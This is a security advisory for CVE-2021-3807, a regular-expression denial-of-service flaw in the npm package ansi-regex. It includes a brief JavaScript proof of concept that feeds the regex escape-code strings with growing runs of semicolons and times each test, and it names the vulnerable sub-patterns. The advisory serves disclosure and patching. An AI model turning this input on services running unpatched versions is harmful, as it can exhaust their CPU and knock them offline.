github_osv/GHSA-93q8-gq69-wqmw
Inefficient Regular Expression Complexity in chalk/ansi-regex
ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.
**Proof of Concept**
```js
import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*10000);
ansiRegex().test(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
```
The ReDOS is mainly due to the sub-patterns `[[\\]()#;?]*` and `(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*`
gitlab/npm/ansi-regex/CVE-2021-3807
ansi-regex is vulnerable to Inefficient Regular Expression Complexity